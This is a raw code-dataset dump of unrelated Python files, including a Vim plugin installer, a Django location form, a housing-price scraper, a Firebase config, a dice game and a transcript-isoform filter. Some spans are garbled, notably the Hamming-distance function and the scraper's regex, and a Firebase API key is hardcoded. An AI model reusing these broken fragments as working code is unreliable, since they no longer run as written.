https://github.com/tpope/vim-vinegar\n\nimport os\nimport urllib.request\n\n# Thanks to\n# http://www.lihaoyi.com/post/BuildyourownCommandLinewithANSIescapecodes.html\n\n# Output Colors\nBLACK = '\\u001b[30m'\nRED = '\\u001b[31m'\nGREEN = '\\u001b[32m'\nYELLOW = '\\u001b[33m'\nBLUE = '\\u001b[34m'\nMAGENTA = '\\u001b[35m'\nCYAN = '\\u001b[36m'\nWHITE = '\\u001b[37m'\nRESET = '\\u001b[0m'\n\n# Creating ~/.vim\nHOME_DIR = os.environ['HOME']\nVIM_DIR = (HOME_DIR + '/.vim')\nif not os.path.exists(VIM_DIR):\n print('Creating ' + CYAN + VIM_DIR + RESET + '\\n')\n os.mkdir(VIM_DIR)\nelse:\n print(CYAN + VIM_DIR + RESET + ' already exists\\n')\n\n# Installing the Pathogen plugn-in manager\nPATHOGEN_DIRS = ['autoload', 'bundle']\nPATHOGEN_PLUGIN_FILE = (VIM_DIR + '/autoload/pathogen.vim')\nPATHOGEN_URL = 'https://raw.githubusercontent.com/tpope/vim-pathogen/master/autoload/pathogen.vim'\n\nprint('Creating Pathogen directories')\nfor i in PATHOGEN_DIRS:\n PLUGIN_PATH = (VIM_DIR + '/' + i)\n if not os.path.exists(PLUGIN_PATH):\n print('Creating ' + CYAN + PLUGIN_PATH + RESET)\n os.mkdir(PLUGIN_PATH)\n else:\n print(CYAN + PLUGIN_PATH + RESET + ' already exists\\n' + RESET)\n\nif not os.path.exists(PATHOGEN_PLUGIN_FILE):\n print('Installing Pathogen to ' + CYAN + PATHOGEN_PLUGIN_FILE + RESET)\n urllib.request.urlretrieve(PATHOGEN_URL, PATHOGEN_PLUGIN_FILE)\nelse:\n print(CYAN + PATHOGEN_PLUGIN_FILE + RESET + ' already downloaded\\n' + RESET)\n\n# Installing/Updating plug-ins\nVIM_PLUGINS = [\n 'dense-analysis/ale',\n 'vim-scripts/AnsiEsc.vim',\n 'pearofducks/ansible-vim',\n 'chrisbra/Colorizer',\n 'airblade/vim-gitgutter',\n 'PProvost/vim-ps1',\n 'tpope/vim-fugitive',\n 'tpope/vim-vinegar',\n 'chr4/nginx.vim',\n 'vim-scripts/delview',\n 'jeffkreeftmeijer/vim-numbertoggle'\n ]\nBUNDLE_DIR = (VIM_DIR + '/bundle')\nSTART_DIR = (os.getcwd())\n\nprint('Plugins will be installed in ' + CYAN + BUNDLE_DIR + '\\n' + RESET)\n\nif os.path.exists(BUNDLE_DIR):\n for i in VIM_PLUGINS:\n REPO_PARTS = i.split('/')\n os.chdir(BUNDLE_DIR)\n if not os.path.exists(REPO_PARTS[1]):\n PLUGIN_REPO = ('https://github.com/'+i+'.git')\n print('Checking out ' + GREEN + PLUGIN_REPO + RESET)\n os.system('git clone ' + PLUGIN_REPO)\n print(\" \")\n else:\n print('Checking for updates to ' + GREEN + REPO_PARTS[1] + RESET)\n os.chdir(REPO_PARTS[1])\n os.system('git pull')\n print(' ')\n os.chdir(START_DIR)\n\n# Install colorschemes from Github\nCOLOR_DIR = (VIM_DIR + '/colors')\nif not os.path.exists(COLOR_DIR):\n print('Creating ' + CYAN + COLOR_DIR + RESET + '\\n')\n os.mkdir(COLOR_DIR)\n\nCOLOR_SCHEMES = [\n '/baskerville/bubblegum/master/colors/bubblegum-256-dark.vim',\n '/dracula/vim/master/colors/dracula.vim',\n '/gosukiwi/vim-atom-dark/master/colors/atom-dark-256.vim',\n '/jalvesaq/southernlights/master/colors/southernlights.vim',\n '/micke/vim-hybrid/master/colors/hybrid.vim',\n '/morhetz/gruvbox/master/colors/gruvbox.vim',\n '/tomasr/molokai/master/colors/molokai.vim',\n '/vim-scripts/xoria256.vim/master/colors/xoria256.vim'\n ]\n\nprint (MAGENTA + 'Updating color schemes' + RESET)\nfor i in COLOR_SCHEMES:\n COLOR_FILE = os.path.basename(i)\n COLOR_PATH = (COLOR_DIR + '/' + COLOR_FILE)\n if not os.path.exists(COLOR_PATH):\n print('Downloading ' + GREEN + COLOR_FILE + RESET )\n COLOR_URL = ('https://raw.githubusercontent.com'+i)\n urllib.request.urlretrieve(COLOR_URL, COLOR_PATH)\n","sub_path":"vim/plugin_install.py","file_name":"plugin_install.py","file_ext":"py","file_size_in_byte":4754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"236961072","text":"# Codigo que calcula a distancia Hamming minima dados:\n#\n# G: polinomio gerador\n# k: tamanho da palavra de informacao\n# n: tamanho da palavra codigo\n\nimport numpy as np\n\ndef codificador(palavra_de_informacao, G, n):\n Gtemp = G[:]\n Gtemp.reverse()\n Gtemp = np.array(Gtemp)\n\n palavra_de_informacaotemp = palavra_de_informacao[:]\n palavra_de_informacaotemp.reverse()\n palavra_de_informacaotemp = np.array(palavra_de_informacaotemp)\n\n mult = np.polymul(palavra_de_informacaotemp, Gtemp)\n mult = list(mult)\n mult.reverse()\n mult = [int(c%2) for c in mult]\n if len(mult) dist:\n minDistancia = dist \n\n print(\"Distancia Hamming: \",minDistancia)\n return minDistancia\n \n\nif __name__ == '__main__':\n tamanhoInformacao = 10 #### (k) coloque aqui o tamanho da palavra de informacao utilizada\n G = [1,0,1,0,1,0,1] #### (G) polinomio gerador\n tamanhoCodigo = 16 #### (n) tamanho da palavra codigo\n calculaDistanciaHamming(tamanhoInformacao, tamanhoCodigo, G)","sub_path":"cyclic/distanciaHamming.py","file_name":"distanciaHamming.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"399727199","text":"from django.shortcuts import render\nimport json\nfrom django.http import HttpResponse, JsonResponse\nfrom rest_framework.views import APIView\nfrom workflow_vault.configuration import *\nfrom workflow_vault.workflowInitiation.getProcessAndContainers.app import getIds as getWorkflowDetails\nfrom workflow_vault.workflowInitiation.workflowInitiate.app import startWorkflow\nfrom workflow_vault.workflowInitiation.schemaDetails.app import getProcessDetails\nfrom workflow_vault.workflowInitiation.initiatorDetails.app import getInitiatorName\nfrom workflow_vault.exceptions import WorkflowException\nfrom workflow_vault.configuration import *\n\n# Create your views here.\n\nclass GetWorkflow(APIView):\n def get(self, request):\n result = getWorkflowDetails(request)\n return JsonResponse(result, safe = False)\n\n\nclass CreateWorkflow(APIView):\n def post(self,request ):\n result= startWorkflow(request)\n return JsonResponse(result, safe=False)\n\n\nclass GetInitiatorDetails(APIView):\n def get(self, request, Id):\n # body = json.loads(request.body)\n # print(type(body))\n request.body = {\"Id\": Id}\n result = getInitiatorName(request)\n return JsonResponse(result , safe = False)\n\n\n\n\n\nclass Details(APIView):\n def get(self,request, Process_name):\n resp = PROCESS_NAME\n process_name = Process_name\n if process_name in resp :\n if process_name==resp[0]:\n container_id= REVIEW_CONTAINER_ID\n process_id = REVIEW_PROCESS_ID\n request.body = {\"container-id\":container_id, \"process-id\":process_id}\n elif process_name==resp[1]:\n container_id= APPROVAL_CONTAINER_ID\n process_id = APPROVAL_PROCESS_ID\n request.body = {\"container-id\":container_id, \"process-id\":process_id}\n result = getProcessDetails(request)\n else:\n \n result = \"Please enter a valid process-type\"\n return JsonResponse(result, safe = False)\n","sub_path":"workflow_vault/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"390216115","text":"import pymysql,warnings,re,random,requests\nimport pymongo\nclass LianjiaSpyder():\n def __init__(self):\n baseurl = \"https://bj.lianjia.com/ershoufang/pg\"\n self.baseurl=baseurl\n \n # header_list = [{\"User-Agent\":\"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0\"},\n # {\"User-Agent\":\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50\"},\n # {\"User-Agent\":\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\"}]\n # # 随机获取一个user-agent\n # headers = random.choice(header_list)\n self.headers = {\"User-Agent\":\"Mozilla/5.0\"}\n self.page = 1\n \n self.conn = pymongo.MongoClient(\"localhost\",27017)\n self.db = self.conn.Lianjia\n self.myset = self.db.housePrice\n \n \n def getPage(self,url):\n print(\"****start*****\")\n res = requests.get(url,headers=self.headers)\n res.encoding = \"utf-8\"\n html = res.text\n print(html)\n print(\"解析页面ing......\")\n self.parsePage(html)\n \n \n \n def parsePage(self,html):\n str = '
(.*?).*?target=\"_blank\">(.*?).*?
(.*?)\"(.*?)\"
'\n p = re.compile(str,re.S)\n r_list = p.findall(html)\n print(\"完成解析,正在存储数据......\")\n self.writeTomongo(r_list)\n \n def writeTomongo(self,r_list):\n \n for r_tuple in r_list:\n D = {\"houseadd\":r_tuple[0].strip(),\n \"price\":float(r_tuple[1].strip())*10000}\n self.myset.insert(D)\n \n \n \n \n def workOn(self):\n\n while True:\n c = input(\"爬取按y/退出按q:\")\n if c.strip().lower()==\"y\":\n url = self.baseurl+str(self.page)+\"/\"\n self.getPage(url)\n self.page += 1\n\n else:\n print(\"****结束*****\")\n break\n \nif __name__ == \"__main__\":\n L=LianjiaSpyder()\n L.workOn()\n \n \n\n\n\n\n\n# # 游标执行方法\n# # 提交\n# db.commit()\n\n# # 关闭\n# cur.close()\n# db.close()\n\n","sub_path":"链家mongodb.py","file_name":"链家mongodb.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"83449691","text":"import re\n\nfrom django import forms\nfrom django.template import Context\nfrom django.template.loader import get_template\nfrom django.utils.translation import ugettext as _\n\nfrom corehq.apps.custom_data_fields import CustomDataEditor\n\nfrom .models import Location\nfrom .signals import location_created, location_edited\nfrom .util import load_locs_json, allowed_child_types, lookup_by_property\n\n\nclass ParentLocWidget(forms.Widget):\n def render(self, name, value, attrs=None):\n return get_template(\n 'locations/manage/partials/parent_loc_widget.html'\n ).render(Context({\n 'name': name,\n 'value': value,\n 'locations': load_locs_json(self.domain, value),\n }))\n\n\nclass LocTypeWidget(forms.Widget):\n def render(self, name, value, attrs=None):\n return get_template(\n 'locations/manage/partials/loc_type_widget.html'\n ).render(Context({\n 'name': name,\n 'value': value,\n }))\n\n\nclass LocationForm(forms.Form):\n parent_id = forms.CharField(\n label=_('Parent'),\n required=False,\n widget=ParentLocWidget(),\n )\n name = forms.CharField(max_length=100)\n location_type = forms.CharField(widget=LocTypeWidget())\n coordinates = forms.CharField(\n max_length=30,\n required=False,\n help_text=_(\"enter as 'lat lon' or 'lat, lon' \"\n \"(e.g., '42.3652 -71.1029')\"),\n )\n site_code = forms.CharField(\n label='Site Code',\n required=False,\n help_text=_(\"A unique system code for this location. \"\n \"Leave this blank to have it auto generated\"),\n )\n external_id = forms.CharField(\n label='External ID',\n required=False,\n help_text=_(\"A number referencing this location on an external system\")\n )\n external_id.widget.attrs['readonly'] = True\n\n strict = True # optimization hack: strict or loose validation\n\n def __init__(self, location, bound_data=None, is_new=False,\n *args, **kwargs):\n self.location = location\n\n # seed form data from couch doc\n kwargs['initial'] = dict(self.location._doc)\n kwargs['initial']['parent_id'] = self.cur_parent_id\n lat, lon = (getattr(self.location, k, None)\n for k in ('latitude', 'longitude'))\n kwargs['initial']['coordinates'] = ('%s, %s' % (lat, lon)\n if lat is not None else '')\n\n self.custom_data = self.get_custom_data(bound_data, is_new)\n\n super(LocationForm, self).__init__(bound_data, *args, **kwargs)\n self.fields['parent_id'].widget.domain = self.location.domain\n\n if not self.location.external_id:\n self.fields['external_id'].widget = forms.HiddenInput()\n\n def get_custom_data(self, bound_data, is_new):\n from .views import LocationFieldsView\n\n existing = self.location.metadata\n\n # Don't show validation error preemptively on new user creation\n if is_new and bound_data is None:\n existing = None\n\n return CustomDataEditor(\n field_view=LocationFieldsView,\n domain=self.location.domain,\n # For new locations, only display required fields\n required_only=is_new,\n existing_custom_data=existing,\n post_dict=bound_data,\n )\n\n @property\n def cur_parent_id(self):\n try:\n return self.location.lineage[0]\n except Exception:\n return None\n\n def is_valid(self):\n return all([\n super(LocationForm, self).is_valid(),\n self.custom_data.is_valid(),\n ])\n\n @property\n def errors(self):\n errors = super(LocationForm, self).errors\n errors.update(self.custom_data.errors)\n return errors\n\n def clean_parent_id(self):\n parent_id = self.cleaned_data['parent_id']\n if not parent_id:\n parent_id = None # normalize ''\n parent = Location.get(parent_id) if parent_id else None\n self.cleaned_data['parent'] = parent\n\n if self.location._id is not None and self.cur_parent_id != parent_id:\n # location is being re-parented\n\n if parent and self.location._id in parent.path:\n assert False, 'location being re-parented to self or descendant'\n\n if self.location.descendants:\n raise forms.ValidationError(\n 'only locations that have no sub-locations can be '\n 'moved to a different parent'\n )\n\n self.cleaned_data['orig_parent_id'] = self.cur_parent_id\n\n return parent_id\n\n def clean_name(self):\n name = self.cleaned_data['name']\n\n if self.strict:\n siblings = self.location.siblings(self.cleaned_data.get('parent'))\n if name in [loc.name for loc in siblings]:\n raise forms.ValidationError(\n 'name conflicts with another location with this parent'\n )\n\n return name\n\n def clean_site_code(self):\n site_code = self.cleaned_data['site_code']\n\n if site_code:\n site_code = site_code.lower()\n\n lookup = lookup_by_property(\n self.location.domain,\n 'site_code',\n site_code,\n 'global'\n )\n if lookup and lookup != set([self.location._id]):\n raise forms.ValidationError(\n 'another location already uses this site code'\n )\n\n return site_code\n\n def clean_location_type(self):\n loc_type = self.cleaned_data['location_type']\n\n child_types = allowed_child_types(self.location.domain,\n self.cleaned_data.get('parent'))\n\n if not child_types:\n assert False, \\\n 'the selected parent location cannot have sub-locations!'\n elif loc_type not in child_types:\n assert False, 'not valid for the select parent location'\n\n return loc_type\n\n def clean_coordinates(self):\n coords = self.cleaned_data['coordinates'].strip()\n if not coords:\n return None\n pieces = re.split('[ ,]+', coords)\n\n if len(pieces) != 2:\n raise forms.ValidationError('could not understand coordinates')\n\n try:\n lat = float(pieces[0])\n lon = float(pieces[1])\n except ValueError:\n raise forms.ValidationError('could not understand coordinates')\n\n return [lat, lon]\n\n def save(self, instance=None, commit=True):\n if self.errors:\n raise ValueError('form does not validate')\n\n location = instance or self.location\n is_new = location._id is None\n\n for field in ('name', 'location_type', 'site_code'):\n setattr(location, field, self.cleaned_data[field])\n coords = self.cleaned_data['coordinates']\n setattr(location, 'latitude', coords[0] if coords else None)\n setattr(location, 'longitude', coords[1] if coords else None)\n location.lineage = Location(\n parent=self.cleaned_data['parent_id']\n ).lineage\n location.metadata = self.custom_data.get_data_to_save()\n\n for k, v in self.cleaned_data.iteritems():\n if k.startswith('prop:'):\n prop_name = k[len('prop:'):]\n setattr(location, prop_name, v)\n\n orig_parent_id = self.cleaned_data.get('orig_parent_id')\n reparented = orig_parent_id is not None\n if reparented:\n location.flag_post_move = True\n location.previous_parents.append(orig_parent_id)\n\n if commit:\n location.save()\n\n if is_new:\n location_created.send(sender='loc_mgmt', loc=location)\n else:\n location_edited.send(sender='loc_mgmt',\n loc=location,\n moved=reparented)\n\n if reparented:\n # post-location move processing here\n # (none for now; do it as a batch job)\n pass\n\n return location\n","sub_path":"corehq/apps/locations/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":8175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"490791870","text":"# -*- coding: utf-8 -*-\n\nimport pyrebase\n\n\nclass Firebase:\n\tdef __init__(self):\n\t\tself.firebase_config = {\n\t\t\t\"apiKey\": \"AIzaSyDvq7Ti89b4zPBdnOmPkyY1jI-hEbytvE4\",\n\t\t\t\"authDomain\": \"flask-api-8272f.firebaseapp.com\",\n\t\t\t\"databaseURL\": \"https://flask-api-8272f.firebaseio.com\",\n\t\t\t\"projectId\": \"flask-api-8272f\",\n\t\t\t\"storageBucket\": \"flask-api-8272f.appspot.com\",\n\t\t\t\"messagingSenderId\": \"1018761306296\",\n\t\t\t\"appId\": \"1:1018761306296:web:2baca0f6a55794e850144d\",\n\t\t\t\"measurementId\": \"G-MDTW4F2BR7\"\n\t\t}\n\n\tdef initialize(self):\n\t\treturn pyrebase.initialize_app(self.firebase_config)\n\n\tdef auth(self):\n\t\treturn self.initialize().auth()\n\n\tdef run(self):\n\t\tself.initialize().auth()\n\n\nif __name__ == '__main__':\n\tF = Firebase()\n\tF.run()\n","sub_path":"firebase_config.py","file_name":"firebase_config.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"294226046","text":"# Adapted by raspberrypilearning/the-all-seeing-pi from some original code by bennuttall and waveform80\n# -------------------------------------------------------------\n \nfrom PIL import Image\nfrom itertools import chain #cycle\n\n# EDIT THESE VALUES ------------------------\noverlays_dir = \"/home/pi/photobooth/tests/count_overlays\"\noverlays = ['1', '2', '3']\n# ------------------------------------------\n\n\noverlay = overlays[0] # Starting value\n\ndef _get_overlay_image(overlay):\n \n # Open the overlay as an Image object\n return Image.open(overlays_dir + \"/\" + overlay + \".png\")\n\ndef _pad(resolution, width=32, height=16):\n # Pads the specified resolution\n # up to the nearest multiple of *width* and *height*; this is\n # needed because overlays require padding to the camera's\n # block size (32x16)\n return (\n ((resolution[0] + (width - 1)) // width) * width,\n ((resolution[1] + (height - 1)) // height) * height,\n )\n\ndef remove_overlays(camera):\n \n # Remove all overlays from the camera preview\n for o in camera.overlays:\n camera.remove_overlay(o) \n\n\ndef preview_overlay(camera=None, overlay=None):\n\n # Remove all overlays\n remove_overlays(camera)\n\n # Get an Image object of the chosen overlay\n overlay_img = _get_overlay_image(overlay)\n\n # Pad it to the right resolution\n pad = Image.new('RGB', _pad(camera.resolution))\n pad.paste(overlay_img, (0, 0))\n\n # Add the overlay\n camera.add_overlay(pad.tobytes(), alpha=128, layer=3)\n\ndef output_overlay(output=None, overlay=None):\n\n # Take an overlay Image\n overlay_img = _get_overlay_image(overlay)\n\n # ...and a captured photo\n output_img = Image.open(output).convert('RGBA')\n\n # Combine the two and save the image as output\n new_output = Image.alpha_composite(output_img, overlay_img)\n new_output.save(output)\n\nall_overlays = chain(overlays)\n","sub_path":"tests/overlay_functions.py","file_name":"overlay_functions.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"161102935","text":"from Semana_10.menu import ingresar_vector\nfrom Semana_13.uso_archivos import *\n\nRUTA_MATRICES = 'mis_matrices.json'\nmatrices = leer(RUTA_MATRICES)\n\ndef leer_matriz():\n \"\"\"\n Lee una matriz por teclado\n :return: (list of list of int) la matriz del usuario\n \"\"\"\n resultado = []\n while True:\n entrada = input('Desea ingresar una fila? s/n ')\n if entrada == 'n':\n break\n resultado.append(ingresar_vector())\n return resultado\n\n\ndef principal():\n \"\"\"\n Funcion principal del menu\n\n :return: none\n \"\"\"\n while True:\n\n MENU = \"\"\"\n **********Menu**********\n 0. Salir\n 1. Ingresar Matriz\n 2. Ver Matrices\n ************************\n \"\"\"\n\n seleccion = input(MENU)\n if seleccion == '0':\n print('Suerte')\n break\n elif seleccion == \"1\":\n nombre = input('cual es el nombre de su matriz ')\n matriz = leer_matriz()\n matrices[nombre] = matriz\n elif seleccion == \"2\":\n print('Sus matrices')\n for matriz in matrices:\n print(matriz, \"=\")\n print(matrices[matriz])\n else:\n print(\"Seleccion invalida\")\n\n\n if guardar(RUTA_MATRICES, matrices):\n print('Se guardaron exitosamente sus matrices')\n else:\n print('No se han podido guardar las matrices')\n\n\nif __name__ == '__main__':\n principal()\n\n","sub_path":"Semana_13/menu_matrices.py","file_name":"menu_matrices.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"89008135","text":"import requests, time, psycopg2\r\n\r\nconn = psycopg2.connect(\"dbname='**' user='**' host='localhost' password='**'\")\r\ncur = conn.cursor()\r\n\r\ndict_defaults = ['alternative_name', 'abbreviation', 'generation', 'platform_family', 'versions']\r\n\r\nurl = \"https://api.igdb.com/v4/platforms\"\r\n\r\nlim = 500\r\noffset = 0\r\n\r\nwhile offset < lim:\r\n payload = f\"\"\"\r\n fields id, name, alternative_name, abbreviation, generation, platform_family, versions;\r\n \\r\\nlimit 500;\\r\\noffset {offset};\r\n \\r\\nsort id; \r\n \"\"\"\r\n headers = {\r\n 'Client-ID': '**',\r\n 'Authorization': 'Bearer **',\r\n 'Content-Type': 'application/javascript',\r\n 'Cookie': '**'\r\n }\r\n\r\n response = requests.request(\"POST\", url, headers=headers, data = payload)\r\n\r\n json_data = response.json()\r\n for data in json_data:\r\n for defaults in dict_defaults:\r\n data.setdefault(defaults, None)\r\n \r\n cur.executemany(\"\"\"INSERT INTO platforms(platform_id,name,alternative_name,abbreviation,generation,platform_family,versions) VALUES (%(id)s, %(name)s, %(alternative_name)s, %(abbreviation)s, %(generation)s, %(platform_family)s, %(versions)s)\"\"\", json_data)\r\n\r\n offset += 500\r\n time.sleep(0.250)\r\n\r\n \r\nconn.commit()","sub_path":"python files/platforms.py","file_name":"platforms.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"612275953","text":"import json\n\n\nclass OpBaseEncoder(json.JSONEncoder):\n def default(self, obj):\n from pathlib import WindowsPath\n from edge import Edge\n if isinstance(obj, WindowsPath):\n # print(1, obj.__class__)\n return str(obj)\n if isinstance(obj, OpBase):\n # print(2, obj.__class__)\n return {\n str(obj.__class__): {\n 'npl1': obj.npl1,\n 'npl2': obj.npl2,\n 'opts': obj.opts\n }\n }\n elif isinstance(obj, Edge):\n return [obj.di, obj.si, obj.cdt, obj.udt]\n elif isinstance(obj, set):\n # print(4, obj.__class__)\n return list(obj)\n elif isinstance(obj, tuple):\n return repr(obj)\n elif isinstance(obj, bytes):\n return obj.hex()\n else:\n # print(5, obj.__class__)\n raise Exception('bad type:', obj.__class__)\n\n\nclass OpBase:\n def __init__(self, *args):\n kt = ('npl1', 'npl2', 'opts')\n for k, v in zip(kt, args):\n setattr(self, k, v)\n","sub_path":"python-win/opbase.py","file_name":"opbase.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"391081752","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@Filename :craps_game.py\n@Description :CRAPS赌博游戏\n@Datatime :2020/08/09 15:58:33\n@Author :AshJo\n@Version :v1.0\n说明:CRAPS又称花旗骰,是美国拉斯维加斯非常受欢迎的一种的桌上赌博游戏。\n该游戏使用两粒骰子,玩家通过摇两粒骰子获得点数进行游戏。\n简单的规则是:玩家第一次摇骰子如果摇出了7点或11点,玩家胜;\n玩家第一次如果摇出2点、3点或12点,庄家胜;其他点数玩家继续摇骰子,\n如果玩家摇出了7点,庄家胜;如果玩家摇出了第一次摇的点数,玩家胜;其他点数,玩家继续要骰子,直到分出胜负。\n'''\n# Craps赌博游戏\n# 我们设定玩家开始游戏时有1000元的赌注\n# 游戏结束的条件是玩家输光所有的赌注\n\nfrom random import randint\n\nmoney = 1000\nwhile money > 0:\n print('你的总资产为:', money)\n needs_go_on = False\n while True:\n debt = int(input('请下注: '))\n if 0 < debt <= money:\n break\n else:\n print(\"下注无效!\")\n first = randint(1, 6) + randint(1, 6)\n print('玩家摇出了%d点' % first)\n if first == 7 or first == 11:\n print('玩家胜!')\n money += debt\n elif first == 2 or first == 3 or first == 12:\n print('庄家胜!')\n money -= debt\n else:\n needs_go_on = True\n while needs_go_on:\n needs_go_on = False\n current = randint(1, 6) + randint(1, 6)\n print('玩家摇出了%d点' % current)\n if current == 7:\n print('庄家胜')\n money -= debt\n elif current == first:\n print('玩家胜')\n money += debt\n else:\n needs_go_on = True\nprint('你破产了, 游戏结束!')","sub_path":"craps_game.py","file_name":"craps_game.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"153133810","text":"import cv2 \n\n\"\"\"img = cv2.imread('rb15.jpg')\nimgray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\ncv2.imshow(\"Image\", img)\ncv2.imshow(\"Gray Image\", imgray)\n\n\ncv2.CHAIN_APPROX_NONE - Stores all points along the line (inefficient)\ncv2.RETR_EXTERNAL - retrieves external/outer contours only\ncv2.RETR_COMP - retrieves all in a 2 - level hierarchy\ncv2.RETR_TREE - retrieves all in full hierarchy\n\nhierarchy: [next, previous, first child, and parent]\n\n\n\nret,thresh = cv2.threshold(imgray, 127, 255, cv2.THRESH_BINARY)\ncontours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n\n#3rd parameter tells drawContours() which contour to show\n#-1 shows all contours\nimg = cv2.drawContours(img, contours, -1, (255, 0, 0), 2)\n\ncv2.imshow(\"Image with contours\", img)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\"\"\"\n\nimg = cv2.imread('rb15.jpg')\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\nedge = cv2.Canny(img, 127, 255)\n\ncontours, hierarchy = cv2.findContours(edge, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n\ncv2.drawContours(img, contours, -1, (0, 0, 255), 2)\n\ncv2.imshow('Image w/ Contours', img)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()","sub_path":"DrawContours.py","file_name":"DrawContours.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"167142217","text":"#pulling all non coding sequences from combined sexes files with duplicates removed\n#need to read in faa headers, fasta file, gtf file, and classification file\n#to run script: Pull_noncoding_isoforms.py \n#Author: Alice Naftaly, April 2020\n\nimport sys\n\n#read in classification file:\n#returns dictionary with key == isoform and value == classification line\ndef read_class():\n class_file = sys.argv[1]\n class_dict = {}\n with open(class_file, 'r') as class_info:\n for line in class_info:\n if line.startswith(\"isoform\"):\n class_dict.update({\"header\":line})\n elif line.startswith(\"PB\"):\n new_line = line.split(\"\\t\")\n isoform = new_line[0]\n class_dict.update({isoform:line})\n return class_dict\n\n\n#read in faa file\n#just need the isoform ids from the headers\n#returns isoform list\ndef read_faa():\n faa_file = sys.argv[2]\n isoform_list = []\n with open(faa_file, 'r') as amino_acids:\n for line in amino_acids:\n if line.startswith(\">\"):\n new_line = line.split('\\t')\n isoform = new_line[0].strip(\">\")\n isoform_list.append(isoform)\n return isoform_list\n\n\n#read in fasta file\n#first dictionary gets all of the sequence for each isoform together\n#final dictionary returned has key == isoform and value = nucleotide sequence\ndef read_fasta():\n fasta_file = sys.argv[3]\n fasta_dict = {}\n final_fasta_dict = {}\n with open(fasta_file, 'r') as nucleotides:\n for line in nucleotides:\n if line.startswith(\">\"):\n new_line = line.split()\n isoform_id = new_line[0].strip(\">\")\n else:\n if isoform_id in fasta_dict:\n fasta_dict[isoform_id].append(line.strip(\"\\n\"))\n elif isoform_id not in fasta_dict:\n fasta_dict.update({isoform_id:[line.strip(\"\\n\")]})\n for key in fasta_dict:\n single_key = fasta_dict[key]\n final_seq = []\n for seq in single_key:\n list_seq = list(seq)\n final_seq += list_seq\n final_fasta_dict.update({key:final_seq})\n return final_fasta_dict\n\n\n#read in gtf file\n#returns dictionary with key == isoform and value == every exon in the isoform\ndef read_gtf():\n gtf_file = sys.argv[4]\n gtf_dict = {}\n with open(gtf_file, 'r') as gtf:\n for line in gtf:\n new_line = line.split(\"\\t\")\n isoform_info = new_line[8].split(\";\")\n isoform_full = isoform_info[0].split(\" \")[1]\n final_isoform = isoform_full.strip(\"\\\"\")\n if final_isoform in gtf_dict:\n gtf_dict[final_isoform].append(line)\n elif final_isoform not in gtf_dict:\n gtf_dict.update({final_isoform:[line]})\n return gtf_dict\n\n\n#Now to filter for only non protein coding isoforms\n#will do this by comparing the class_dict and faa_dict where if the isoform is not in the faa_dict, then it was predicted to be noncoding\n#returns list of noncoding isoforms\ndef pull_noncoding():\n class_dict = read_class()\n faa_list = read_faa()\n noncoding_isoforms = []\n for isoform in class_dict:\n if isoform not in faa_list and isoform.startswith(\"PB\"):\n noncoding_isoforms.append(isoform)\n return noncoding_isoforms\n\n\n#now need to write noncoding isoforms classification, fasta, and gtf files\ndef write_noncoding_class():\n class_dict = read_class()\n noncoding_isoforms = pull_noncoding()\n output = sys.argv[5]\n with open(output, 'a') as out:\n header = class_dict[\"header\"]\n out.write(header)\n for isoform in noncoding_isoforms:\n single_class_entry = class_dict[isoform]\n out.write(single_class_entry)\n\n\ndef write_noncoding_fasta():\n fasta_dict = read_fasta()\n noncoding_isoforms = pull_noncoding()\n output = sys.argv[6]\n with open(output, 'a') as out:\n for isoform in noncoding_isoforms:\n single_fasta = fasta_dict[isoform]\n sequence = \"\".join(single_fasta)\n final_header = \">%s\\n\" % str(isoform)\n final_seq = sequence + \"\\n\"\n out.write(final_header)\n out.write(final_seq)\n\n\ndef write_noncoding_gtf():\n gtf_dict = read_gtf()\n noncoding_isoforms = pull_noncoding()\n output = sys.argv[7]\n with open(output, 'a') as out:\n for isoform in noncoding_isoforms:\n single_gtf = gtf_dict[isoform]\n for exon in single_gtf:\n out.write(exon)\n\n\n#call all functions\ndef call():\n class_out = write_noncoding_class()\n fasta_out = write_noncoding_fasta()\n gtf_out = 